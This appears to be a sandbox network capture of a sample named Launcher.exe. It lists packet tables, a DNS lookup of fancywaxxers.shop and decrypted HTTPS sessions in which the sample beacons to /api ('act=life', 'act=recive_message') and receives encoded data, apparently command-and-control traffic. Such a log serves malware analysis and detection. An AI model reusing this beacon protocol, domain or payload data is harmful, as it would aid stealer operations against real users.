Dec 30, 2024 20:42:07.099200964 CET	49704	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:07.099215984 CET	443	49704	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:07.575467110 CET	443	49704	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:07.575624943 CET	49704	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:07.576893091 CET	49704	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:07.576911926 CET	443	49704	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:07.577173948 CET	443	49704	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:07.587975025 CET	49704	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:07.587975025 CET	49704	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:07.588023901 CET	443	49704	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:08.104785919 CET	443	49704	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:08.104897976 CET	443	49704	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:08.105074883 CET	49704	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:08.105074883 CET	49704	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:08.410489082 CET	49704	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:08.410521030 CET	443	49704	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:08.621629000 CET	49705	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:08.621690989 CET	443	49705	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:08.621771097 CET	49705	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:08.622073889 CET	49705	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:08.622088909 CET	443	49705	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:09.077734947 CET	443	49705	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:09.077796936 CET	49705	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:09.079197884 CET	49705	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:09.079212904 CET	443	49705	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:09.079525948 CET	443	49705	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:09.081028938 CET	49705	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:09.084134102 CET	49705	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:09.084171057 CET	443	49705	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:09.084278107 CET	49705	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:09.084315062 CET	443	49705	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:09.084434986 CET	49705	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:09.084489107 CET	443	49705	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:09.084615946 CET	49705	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:09.084645033 CET	443	49705	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:09.084800959 CET	49705	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:09.084830999 CET	443	49705	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:09.084984064 CET	49705	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:09.085024118 CET	443	49705	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:09.085033894 CET	49705	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:09.085176945 CET	49705	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:09.085215092 CET	49705	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:09.094486952 CET	443	49705	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:09.094650984 CET	49705	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:09.094691038 CET	443	49705	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:09.094707012 CET	49705	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:09.094724894 CET	443	49705	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:09.094727039 CET	49705	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:09.094743967 CET	443	49705	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:09.094887972 CET	49705	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:09.094927073 CET	49705	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:09.094961882 CET	49705	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:09.099356890 CET	443	49705	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:10.765532017 CET	443	49705	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:10.765635014 CET	443	49705	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:10.765770912 CET	49705	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:10.765824080 CET	49705	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:10.765850067 CET	443	49705	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:10.774750948 CET	49706	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:10.774799109 CET	443	49706	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:10.774862051 CET	49706	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:10.775152922 CET	49706	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:10.775168896 CET	443	49706	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:11.256717920 CET	443	49706	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:11.256882906 CET	49706	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:11.257946968 CET	49706	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:11.257957935 CET	443	49706	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:11.258189917 CET	443	49706	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:11.259319067 CET	49706	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:11.259342909 CET	49706	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:11.259383917 CET	443	49706	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:11.727714062 CET	443	49706	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:11.727761030 CET	443	49706	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:11.727791071 CET	443	49706	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:11.727817059 CET	49706	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:11.727818966 CET	443	49706	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:11.727840900 CET	443	49706	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:11.727973938 CET	49706	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:11.728332043 CET	443	49706	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:11.728375912 CET	49706	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:11.728382111 CET	443	49706	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:11.728691101 CET	443	49706	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:11.728717089 CET	443	49706	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:11.728735924 CET	49706	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:11.728741884 CET	443	49706	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:11.728770018 CET	443	49706	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:11.728784084 CET	49706	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:11.728789091 CET	443	49706	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:11.728827000 CET	49706	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:11.728832960 CET	443	49706	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:11.728871107 CET	443	49706	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:11.728910923 CET	49706	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:11.729094982 CET	49706	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:11.729108095 CET	443	49706	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:11.729118109 CET	49706	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:11.729123116 CET	443	49706	104.21.96.1	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 20:42:00.376498938 CET	51738	53	192.168.2.7	1.1.1.1
Dec 30, 2024 20:42:00.388092995 CET	53	51738	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 30, 2024 20:42:00.376498938 CET	192.168.2.7	1.1.1.1	0x5df5	Standard query (0)	fancywaxxers.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 30, 2024 20:42:00.388092995 CET	1.1.1.1	192.168.2.7	0x5df5	No error (0)	fancywaxxers.shop	104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 30, 2024 20:42:00.388092995 CET	1.1.1.1	192.168.2.7	0x5df5	No error (0)	fancywaxxers.shop	104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 30, 2024 20:42:00.388092995 CET	1.1.1.1	192.168.2.7	0x5df5	No error (0)	fancywaxxers.shop	104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 30, 2024 20:42:00.388092995 CET	1.1.1.1	192.168.2.7	0x5df5	No error (0)	fancywaxxers.shop	104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 30, 2024 20:42:00.388092995 CET	1.1.1.1	192.168.2.7	0x5df5	No error (0)	fancywaxxers.shop	104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 30, 2024 20:42:00.388092995 CET	1.1.1.1	192.168.2.7	0x5df5	No error (0)	fancywaxxers.shop	104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 30, 2024 20:42:00.388092995 CET	1.1.1.1	192.168.2.7	0x5df5	No error (0)	fancywaxxers.shop	104.21.48.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

fancywaxxers.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	104.21.96.1	443	7044	C:\Users\user\Desktop\Launcher.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 19:42:00 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fancywaxxers.shop
2024-12-30 19:42:00 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-30 19:42:01 UTC	1139	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 19:42:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f5la91b212mcnoh7au0r6ulrf6; expires=Fri, 25 Apr 2025 13:28:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pD8grP4i%2Bt7945M6HDs8%2BsI5HC9HeZUo8a91SVa1R%2FDVE16kVmAEnvQHDXZimjTJ2YrYkahCxUcU8cGBgykGJx1cPXK8bRY3qbBEIlILCYCS%2FU6dmz%2FHEmJ9Z3%2FfY%2B3%2B08LewQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa482b828a11a48-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1931&min_rtt=1913&rtt_var=755&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=908&delivery_rate=1414728&cwnd=157&unsent_bytes=0&cid=ce4db0dcd30ca617&ts=514&x=0"
2024-12-30 19:42:01 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-30 19:42:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	104.21.96.1	443	7044	C:\Users\user\Desktop\Launcher.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 19:42:01 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 51 Host: fancywaxxers.shop
2024-12-30 19:42:01 UTC	51	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 36 32 32 39 31 34 37 39 31 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=yau6Na--622914791&j=
2024-12-30 19:42:02 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 19:42:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g1r1hd75t1fgsdk3gilamb521n; expires=Fri, 25 Apr 2025 13:28:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4xVMexILjwE2oSa3G%2F1tnx1hCEDle1tZz6ItasQPG8s4W6x5dumS5x7K38wiLjqfgt25%2BfIzSJ6KUtIZ7924%2FxUY6o3cTCa0x2M4nmt3P8WXvXXGzbORr1Ms9Eu38WIgGWfbeg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa482bebfb91a48-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2030&min_rtt=2006&rtt_var=800&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=952&delivery_rate=1328480&cwnd=157&unsent_bytes=0&cid=d9fef670e49aebec&ts=481&x=0"
2024-12-30 19:42:02 UTC	240	IN	Data Raw: 63 34 61 0d 0a 49 61 52 56 34 4b 69 42 49 61 79 7a 69 47 78 35 6a 32 35 79 43 51 58 7a 4d 59 79 62 44 34 7a 32 76 59 59 46 4d 2b 4d 79 42 49 78 61 68 69 50 43 6b 72 55 4e 6a 73 44 74 54 6b 50 37 48 41 64 73 4b 64 46 51 36 4c 6b 31 36 70 66 52 39 57 41 66 77 55 52 70 72 68 76 43 4e 49 7a 62 35 41 32 4f 31 76 42 4f 51 39 51 56 55 47 78 72 30 51 75 75 2f 6d 58 75 6c 39 48 6b 5a 46 69 4d 51 6d 6a 76 53 63 67 79 69 4d 33 69 52 63 33 66 35 51 6b 63 36 67 38 59 5a 32 79 65 57 65 47 35 49 36 36 54 78 36 51 2f 45 61 35 58 63 4f 31 73 78 53 61 4c 69 76 77 4e 31 35 48 74 41 6c 75 31 54 42 4e 73 5a 35 39 58 36 50 42 6e 35 4a 37 5a 35 57 46 5a 6b 31 74 69 35 45 6e 47 4d 59 6e 48 36 31 48 41 31 65 49 43 47 75 41 50 55 43 55 Data Ascii: c4aIaRV4KiBIayziGx5j25yCQXzMYybD4z2vYYFM+MyBIxahiPCkrUNjsDtTkP7HAdsKdFQ6Lk16pfR9WAfwURprhvCNIzb5A2O1vBOQ9QVUGxr0Quu/mXul9HkZFiMQmjvScgyiM3iRc3f5Qkc6g8YZ2yeWeG5I66Tx6Q/Ea5XcO1sxSaLivwN15HtAlu1TBNsZ59X6PBn5J7Z5WFZk1ti5EnGMYnH61HA1eICGuAPUCU
2024-12-30 19:42:02 UTC	1369	IN	Data Raw: 6e 6c 6b 75 75 6f 53 32 39 70 74 7a 31 64 6b 53 4d 51 47 43 75 58 49 67 75 77 73 33 76 41 35 61 52 34 67 49 56 36 41 38 66 62 47 61 52 51 65 48 35 62 75 61 63 32 2b 35 6f 58 6f 35 65 62 4f 6c 4c 7a 7a 43 4e 7a 65 74 46 77 64 4b 71 51 46 76 71 46 46 41 7a 4a 37 46 44 37 66 70 35 34 34 57 66 2b 79 6c 49 77 56 64 71 72 68 75 47 4d 59 7a 4c 37 6b 50 63 32 65 45 46 48 76 38 48 47 57 5a 71 6b 56 37 6b 39 6d 37 75 6b 39 58 75 61 46 75 46 58 57 76 6f 51 38 5a 33 7a 49 72 6b 57 34 36 4a 71 69 30 65 2f 51 73 63 66 53 57 72 45 2f 47 33 64 4b 36 54 30 36 51 2f 45 59 6c 56 5a 65 31 49 79 54 53 4b 77 66 46 44 33 4e 66 6e 43 77 6e 72 43 52 35 68 5a 49 4e 5a 34 50 39 75 35 35 2f 57 34 57 42 56 77 52 34 6d 36 56 75 47 62 38 4c 72 37 6b 6a 43 32 2f 30 4f 57 2f 4a 43 43 53 Data Ascii: nlkuuoS29ptz1dkSMQGCuXIguws3vA5aR4gIV6A8fbGaRQeH5buac2+5oXo5ebOlLzzCNzetFwdKqQFvqFFAzJ7FD7fp544Wf+ylIwVdqrhuGMYzL7kPc2eEFHv8HGWZqkV7k9m7uk9XuaFuFXWvoQ8Z3zIrkW46Jqi0e/QscfSWrE/G3dK6T06Q/EYlVZe1IyTSKwfFD3NfnCwnrCR5hZINZ4P9u55/W4WBVwR4m6VuGb8Lr7kjC2/0OW/JCCS
2024-12-30 19:42:02 UTC	1369	IN	Data Raw: 35 50 39 69 34 35 69 66 71 69 64 57 6d 52 41 2b 72 6d 6e 46 49 34 48 41 6f 58 62 4e 33 2b 51 4a 44 61 30 54 58 6e 49 6e 6c 6c 2b 75 6f 53 33 6a 6c 64 66 69 64 56 36 4d 55 32 6a 67 54 4d 4d 34 69 73 72 6a 54 73 76 56 34 51 55 59 34 41 67 43 59 57 65 5a 56 75 2f 7a 5a 36 37 61 6e 2b 4e 2f 45 64 6b 51 56 2f 6c 49 68 41 4b 42 78 4f 31 45 32 4a 48 31 51 41 4b 74 43 78 77 72 50 39 46 65 35 76 78 6f 34 5a 58 56 36 6d 4a 62 6a 56 68 6f 37 56 48 4a 4d 34 4c 47 36 30 6e 44 33 2b 34 47 45 75 59 48 46 6d 74 6d 6d 78 4f 67 75 57 72 32 31 49 65 6b 55 31 61 4e 58 57 6d 73 64 73 55 35 6a 4d 33 31 41 39 47 66 38 30 34 63 34 55 78 49 4b 32 75 59 55 2b 58 7a 61 65 36 54 30 75 46 6b 56 6f 4a 64 59 65 52 4e 77 54 4f 4f 77 2b 35 46 7a 74 62 75 43 77 6e 6f 42 52 78 6e 4a 39 38 Data Ascii: 5P9i45ifqidWmRA+rmnFI4HAoXbN3+QJDa0TXnInll+uoS3jldfidV6MU2jgTMM4isrjTsvV4QUY4AgCYWeZVu/zZ67an+N/EdkQV/lIhAKBxO1E2JH1QAKtCxwrP9Fe5vxo4ZXV6mJbjVho7VHJM4LG60nD3+4GEuYHFmtmmxOguWr21IekU1aNXWmsdsU5jM31A9Gf804c4UxIK2uYU+Xzae6T0uFkVoJdYeRNwTOOw+5FztbuCwnoBRxnJ98
2024-12-30 19:42:02 UTC	175	IN	Data Raw: 71 43 4e 6e 2b 4e 72 45 64 6b 51 62 2b 64 52 79 44 6d 4c 78 2b 56 4c 79 64 2f 6e 42 52 33 6d 43 78 64 74 61 70 6c 65 36 2f 70 73 36 70 37 4e 35 32 78 62 6a 46 6f 6d 6f 41 50 42 4c 38 4b 53 6f 32 54 43 2b 50 6f 56 43 66 74 4d 44 79 56 2b 30 56 54 69 75 54 57 75 6c 39 44 74 61 46 6d 4a 58 32 6e 71 54 63 41 78 6a 38 2f 73 53 64 7a 5a 35 41 4d 51 34 67 63 43 61 32 71 56 58 2b 72 78 5a 75 54 55 6b 61 52 67 53 63 45 49 4a 74 74 4f 79 54 65 42 33 4b 4e 63 67 4d 69 71 43 52 65 74 56 46 42 6e 61 5a 46 63 34 76 56 6d 35 70 0d 0a Data Ascii: qCNn+NrEdkQb+dRyDmLx+VLyd/nBR3mCxdtaple6/ps6p7N52xbjFomoAPBL8KSo2TC+PoVCftMDyV+0VTiuTWul9DtaFmJX2nqTcAxj8/sSdzZ5AMQ4gcCa2qVX+rxZuTUkaRgScEIJttOyTeB3KNcgMiqCRetVFBnaZFc4vVm5p
2024-12-30 19:42:02 UTC	1369	IN	Data Raw: 33 64 34 61 0d 0a 58 54 36 6d 42 55 69 46 68 75 2f 45 4c 43 50 34 50 45 37 45 4c 4b 31 4f 38 4b 48 4f 6b 4b 48 79 73 70 30 56 54 32 75 54 57 75 75 2f 6a 52 4a 58 43 37 45 48 6d 67 57 6f 59 77 6a 6f 71 37 41 38 4c 53 35 67 59 55 36 77 55 63 59 57 36 61 58 2b 58 39 59 65 65 52 32 65 56 69 56 49 42 55 61 75 52 46 78 54 53 4e 78 65 78 4c 6a 70 2b 71 43 51 4f 74 56 46 42 4f 63 4a 70 64 36 4c 6c 79 6f 49 32 66 34 32 73 52 32 52 42 71 35 30 58 41 4d 6f 37 4c 35 55 76 4c 32 65 34 50 48 65 73 50 48 32 39 69 6b 46 7a 71 39 57 50 6b 6c 64 37 6f 62 46 36 4b 56 53 61 67 41 38 45 76 77 70 4b 6a 63 73 33 48 2f 52 34 58 72 52 4e 65 63 69 65 57 58 36 36 68 4c 65 2b 47 31 65 35 70 56 49 35 56 5a 65 46 45 79 7a 47 4f 77 4f 70 4c 79 4e 37 6a 48 42 6a 68 41 68 64 6c 61 35 39 Data Ascii: 3d4aXT6mBUiFhu/ELCP4PE7ELK1O8KHOkKHysp0VT2uTWuu/jRJXC7EHmgWoYwjoq7A8LS5gYU6wUcYW6aX+X9YeeR2eViVIBUauRFxTSNxexLjp+qCQOtVFBOcJpd6LlyoI2f42sR2RBq50XAMo7L5UvL2e4PHesPH29ikFzq9WPkld7obF6KVSagA8EvwpKjcs3H/R4XrRNecieWX66hLe+G1e5pVI5VZeFEyzGOwOpLyN7jHBjhAhdla59
2024-12-30 19:42:02 UTC	1369	IN	Data Raw: 75 6d 64 31 50 5a 74 56 6f 5a 62 62 75 56 4d 77 43 57 4f 78 50 46 47 33 4d 4f 71 51 46 76 71 46 46 41 7a 4a 36 64 55 2f 75 6c 75 72 4b 58 4a 35 33 46 61 6a 46 77 6d 38 51 33 66 64 34 58 47 6f 78 75 4f 31 2b 55 48 47 4f 49 4e 47 57 64 71 6c 46 72 72 2b 47 76 71 6e 74 58 6b 59 56 65 41 56 57 7a 74 51 73 77 2b 68 63 4c 6b 51 4e 79 52 70 45 34 63 39 55 78 49 4b 30 36 57 51 65 44 70 4c 66 48 61 78 71 52 67 58 63 45 49 4a 75 70 4a 79 54 4f 46 78 75 56 47 79 4e 7a 72 41 52 72 74 41 78 52 67 62 70 64 53 34 2f 78 67 36 6f 62 56 37 32 68 64 69 46 78 72 72 67 32 47 4d 4a 71 4b 75 77 50 2f 33 4f 51 41 48 50 74 4d 44 79 56 2b 30 56 54 69 75 54 57 75 6c 64 50 72 5a 46 36 43 55 32 66 6b 55 64 51 37 69 38 4c 6d 54 38 58 66 37 42 77 64 34 67 55 54 61 47 36 57 57 2b 4c 7a Data Ascii: umd1PZtVoZbbuVMwCWOxPFG3MOqQFvqFFAzJ6dU/ulurKXJ53FajFwm8Q3fd4XGoxuO1+UHGOINGWdqlFrr+GvqntXkYVeAVWztQsw+hcLkQNyRpE4c9UxIK06WQeDpLfHaxqRgXcEIJupJyTOFxuVGyNzrARrtAxRgbpdS4/xg6obV72hdiFxrrg2GMJqKuwP/3OQAHPtMDyV+0VTiuTWuldPrZF6CU2fkUdQ7i8LmT8Xf7Bwd4gUTaG6WW+Lz
2024-12-30 19:42:02 UTC	1369	IN	Data Raw: 36 6b 50 30 65 52 52 32 48 78 44 64 39 33 68 63 61 6a 47 34 37 58 34 77 67 63 36 77 49 43 62 6d 47 65 58 4f 66 77 61 65 61 58 33 2b 42 6a 56 6f 52 54 61 75 56 45 78 54 69 47 77 2b 31 4b 77 5a 47 6b 54 68 7a 31 54 45 67 72 52 6f 70 51 34 76 51 74 38 64 72 47 70 47 42 64 77 51 67 6d 34 6b 33 44 4e 34 6a 4d 35 30 62 49 32 2b 38 4f 45 4f 34 44 46 47 31 6a 6e 6c 50 6c 38 47 7a 6f 6b 64 58 76 59 56 79 43 56 6d 43 75 44 59 59 77 6d 6f 71 37 41 2b 37 4b 35 77 49 63 72 52 4e 65 63 69 65 57 58 36 36 68 4c 65 57 59 32 2b 4e 6e 58 49 4a 59 59 2b 70 4a 77 7a 65 4b 32 4f 74 44 79 63 50 34 44 68 4c 6f 41 42 4e 72 59 35 64 61 36 50 70 70 72 74 71 66 34 33 38 52 32 52 42 4c 34 6b 54 76 4d 4a 6d 4b 2f 41 33 58 6b 65 30 43 57 37 56 4d 45 57 42 74 6e 6c 37 74 2f 32 37 6c 6b Data Ascii: 6kP0eRR2HxDd93hcajG47X4wgc6wICbmGeXOfwaeaX3+BjVoRTauVExTiGw+1KwZGkThz1TEgrRopQ4vQt8drGpGBdwQgm4k3DN4jM50bI2+8OEO4DFG1jnlPl8GzokdXvYVyCVmCuDYYwmoq7A+7K5wIcrRNecieWX66hLeWY2+NnXIJYY+pJwzeK2OtDycP4DhLoABNrY5da6Ppprtqf438R2RBL4kTvMJmK/A3Xke0CW7VMEWBtnl7t/27lk
2024-12-30 19:42:02 UTC	1369	IN	Data Raw: 49 77 55 59 6d 74 68 47 49 64 35 43 4b 75 77 4f 4a 30 76 67 63 48 65 34 61 45 79 78 5a 72 33 54 34 38 32 72 2b 6b 38 6a 72 4a 78 2f 42 58 79 61 32 65 6f 59 2b 68 64 48 79 56 63 50 42 37 55 34 6b 6f 30 77 49 4b 7a 2f 52 5a 75 33 33 59 2b 6d 43 7a 71 6c 41 52 34 74 58 64 75 6c 55 79 58 66 4d 69 75 55 44 6c 6f 4b 6b 54 68 2f 38 54 45 67 37 4e 63 6f 47 76 61 34 39 76 49 75 52 2f 53 64 48 77 51 67 30 6f 41 50 55 64 39 71 4b 70 45 44 63 77 2b 77 4e 44 65 35 4c 4c 6c 56 41 69 31 37 6f 37 6e 7a 51 71 74 6a 2b 61 6c 65 57 51 53 72 37 51 4d 67 35 68 64 79 6a 44 59 37 65 71 6c 59 69 72 55 52 51 56 43 6e 52 53 36 36 68 4c 64 75 58 30 65 70 67 52 35 41 64 51 66 52 4f 77 43 43 54 69 71 30 44 79 4a 47 79 58 46 57 74 43 41 45 72 50 38 45 42 74 61 77 2b 75 63 53 4e 2b 79 Data Ascii: IwUYmthGId5CKuwOJ0vgcHe4aEyxZr3T482r+k8jrJx/BXya2eoY+hdHyVcPB7U4ko0wIKz/RZu33Y+mCzqlAR4tXdulUyXfMiuUDloKkTh/8TEg7NcoGva49vIuR/SdHwQg0oAPUd9qKpEDcw+wNDe5LLlVAi17o7nzQqtj+aleWQSr7QMg5hdyjDY7eqlYirURQVCnRS66hLduX0epgR5AdQfROwCCTiq0DyJGyXFWtCAErP8EBtaw+ucSN+y
2024-12-30 19:42:02 UTC	1369	IN	Data Raw: 4c 71 35 38 69 48 65 61 69 72 73 44 2b 39 4c 6b 41 42 7a 37 48 56 31 44 52 4b 74 70 72 4e 56 71 2b 39 62 72 34 33 64 41 69 6c 31 71 72 67 32 47 4d 63 4b 53 73 77 32 4f 31 66 74 4f 51 37 31 65 53 7a 34 30 78 67 4f 38 35 69 50 33 31 4d 6d 6b 50 77 50 50 45 48 53 75 47 34 5a 77 67 64 6a 78 52 63 33 48 36 55 6b 6c 30 79 73 65 62 47 61 48 51 2f 6e 32 55 39 43 42 33 4f 70 70 56 70 64 42 4a 71 41 44 79 58 66 61 38 36 4d 4c 6a 75 36 6b 54 67 4f 74 56 46 42 65 5a 4a 39 64 36 65 39 38 6f 37 50 52 34 32 5a 48 6b 55 64 70 72 67 32 47 4d 63 4b 53 73 51 32 4f 31 66 74 4f 51 37 31 65 53 7a 34 30 78 67 4f 38 35 69 50 33 31 4d 6d 6b 50 77 50 50 45 48 53 75 47 34 5a 77 67 64 6a 78 52 63 33 48 36 55 6b 6c 30 79 73 65 62 47 61 48 51 2f 6e 32 49 73 43 69 2f 74 70 5a 52 49 4a Data Ascii: Lq58iHeairsD+9LkABz7HV1DRKtprNVq+9br43dAil1qrg2GMcKSsw2O1ftOQ71eSz40xgO85iP31MmkPwPPEHSuG4ZwgdjxRc3H6Ukl0ysebGaHQ/n2U9CB3OppVpdBJqADyXfa86MLju6kTgOtVFBeZJ9d6e98o7PR42ZHkUdprg2GMcKSsQ2O1ftOQ71eSz40xgO85iP31MmkPwPPEHSuG4ZwgdjxRc3H6Ukl0ysebGaHQ/n2IsCi/tpZRIJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49701	104.21.96.1	443	7044	C:\Users\user\Desktop\Launcher.exe

Timestamp	Bytes transferred	Direction	Data
